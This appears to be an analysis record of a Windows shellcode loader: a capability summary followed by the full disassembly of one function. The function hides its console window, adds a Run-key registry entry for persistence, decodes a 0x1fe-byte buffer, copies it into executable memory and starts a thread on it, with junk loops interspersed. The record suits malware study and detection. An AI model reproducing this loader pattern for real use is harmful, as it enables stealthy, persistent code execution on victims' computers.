Function at 0x140001556
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Hide graphical window
Persist via run registry key
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x70
lea rbp, [rsp + 0x70]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp - 0x40]
mov r8, rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
mov rax, qword [rbp - 0x40]
mov dword [rsp + 0x28], 0x15
lea rdx, str.C:PathToloader.exe
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.Loader
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov dword [rbp - 0x24], 1
mov dword [rbp - 0x28], 2
mov edx, dword [rbp - 0x24]
mov eax, dword [rbp - 0x28]
add eax, edx
mov dword [rbp - 4], eax
mov dword [rbp - 8], 0
jmp 0x140001611
cmp dword [rbp - 8], 3
jne 0x14000160d
add dword [rbp - 4], 1
add dword [rbp - 8], 1
cmp dword [rbp - 8], 4
jle 0x140001603
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov byte [section..data], al
call sym.rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov byte [0x140003200], al
mov dword [rbp - 0xc], 0
mov dword [rbp - 0x10], 0
jmp 0x140001690
mov eax, dword [rbp - 0x10]
and eax, 1
test eax, eax
jne 0x140001686
mov eax, dword [rbp - 0x10]
add dword [rbp - 0xc], eax
jmp 0x14000168c
mov eax, dword [rbp - 0x10]
sub dword [rbp - 0xc], eax
add dword [rbp - 0x10], 1
cmp dword [rbp - 0x10], 9
jle 0x140001674
cmp dword [rbp - 4], 5
jne 0x1400016b2
mov edx, 0x1fe
lea rax, section..data
mov rcx, rax
call sym.f
jmp 0x1400016c6
mov edx, 0x1fe
lea rax, [0x140003200]
mov rcx, rax
call sym.g
mov dword [rbp - 0x14], 0
jmp 0x1400016d3
add dword [rbp - 0x14], 3
cmp dword [rbp - 0x14], 0x63
jle 0x1400016cf
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1fe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
jne 0x14000170d
mov eax, 0xffffffff
jmp 0x140001801
mov edx, 0x1fe
lea rax, section..data
mov rcx, rax
call sym.f
mov rax, qword [rbp - 0x30]
lea rdx, section..data
mov ecx, 0x1fe
mov r8, qword [rdx]
mov qword [rax], r8
mov r8d, ecx
add r8, rax
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rdx
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rax + 8]
and r8, 0xfffffffffffffff8
sub rax, r8
sub rdx, rax
add ecx, eax
and ecx, 0xfffffff8
mov eax, ecx
shr eax, 3
mov eax, eax
mov rdi, r8
mov rsi, rdx
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp - 0x30]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x38], rax
cmp qword [rbp - 0x38], 0
jne 0x1400017bc
mov eax, 0xfffffffe
jmp 0x140001801
mov rax, qword [rbp - 0x38]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x30]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
add rsp, 0x70
pop rsi
pop rdi
pop rbp
ret